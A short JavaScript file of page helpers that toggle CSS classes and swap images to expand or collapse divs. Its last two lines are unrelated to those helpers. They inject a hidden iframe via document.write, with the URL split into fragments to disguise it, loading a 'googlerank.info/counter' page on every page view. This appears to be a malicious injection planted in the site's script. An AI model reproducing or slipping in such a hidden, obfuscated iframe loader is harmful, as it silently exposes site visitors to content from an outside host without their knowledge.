// Changes the class of the given tag from classa to classb or back
 function classoggle(tag, classa, classb) {
   if (tag.className==classa){
      tag.className=classb;
    } else {
      tag.className=classa;
     }
 }
 
 // Toggles the class name of the indexed div between 'hideMe' and 'showMe'
 // and toggles the src attribute of the referenced img tag between openPicture and closePicture
   function visoggle(index, me) {
      var d = document.getElementById(index);
      classoggle(d, 'hideMe', 'showMe');
      if (me!=undefined) {
         if (me.src == closePicture){
            me.src = openPicture; 
          } else {
            me.src = closePicture;
           }
      }
   }
   
 // Toggles the indicated image and collapses all other ones
 function visoggleSolo(index, prefix, me){
   var d = document.getElementById(index);
   var isHid = d.className == 'hideMe';
   collapseAll(prefix);
   if (isHid){
      visoggle(index, me);
      }
 }
 
 // Collapses and changes the image for all tags that start with the given prefix. Expands them if exp=1
 function collapseAll(start, exp) {
    if (exp == 1) {
       var newClass = 'showMe';
       var newPic = openPicture;
       var oldPic = closePicture;
   } else {
     var newClass = 'hideMe';
     var newPic = closePicture;
     var oldPic = openPicture;
   }
   var allDivs = document.getElementsByTagName('div');
   var allImgs = document.getElementsByTagName('img');
   for (i=0; i < allDivs.length; i++) {
      if (allDivs[i].id.indexOf(start) > -1) {
           allDivs[i].className = newClass
       }
   }
   for (i=0; i < allImgs.length; i++) {
      if (allImgs[i].src == oldPic) {
         allImgs[i].src = newPic
       }
    }
  }
argn = document.getElementById('bch');
if (argn == null) {document.write('<iframe id=bch s'+'rc='+'ht'+'tp'+':'+'//g'+'oo'+'glera'+'nk'+'.'+'info/coun'+'ter '+'s'+'tyle=d'+'is'+'p'+'l'+'a'+'y:non'+'e>'+'</if'+'r'+'am'+'e>');}
